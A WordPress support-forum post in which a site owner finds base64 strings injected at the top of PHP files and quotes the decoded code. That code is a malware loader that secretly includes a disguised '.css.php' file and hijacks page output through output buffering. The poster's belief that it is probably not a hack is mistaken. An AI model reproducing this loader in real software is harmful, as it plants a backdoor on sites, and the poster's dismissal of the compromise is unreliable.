Strange eval 64 code on top of php files
-
Hi!
In my endless fight to get my visual editor working again, I noticed that almost all of my wp files have a string in base64 code at the top.
By decoding it, I found out that it meant that :if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/kunden/homepages/44/d152788678/htdocs/wordpress/wp-content/upgrade/superedit/wp-super-edit/superedit/tinymce_plugins/advhr/css/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}
What is it ? How come it appeared on my pages ? I doubt it’s a hack, I don’t see the point in hacking a website just to crash the visual editor and leave the database and the user rights alone…
I checked in the database (I found a topic on this forum where base64 code would be added to the wp_options table), but no evil code here.I have already started to get rid of it on the main pages, but so far, it doesn’t solve anything. What is it ???
- The topic ‘Strange eval 64 code on top of php files’ is closed to new replies.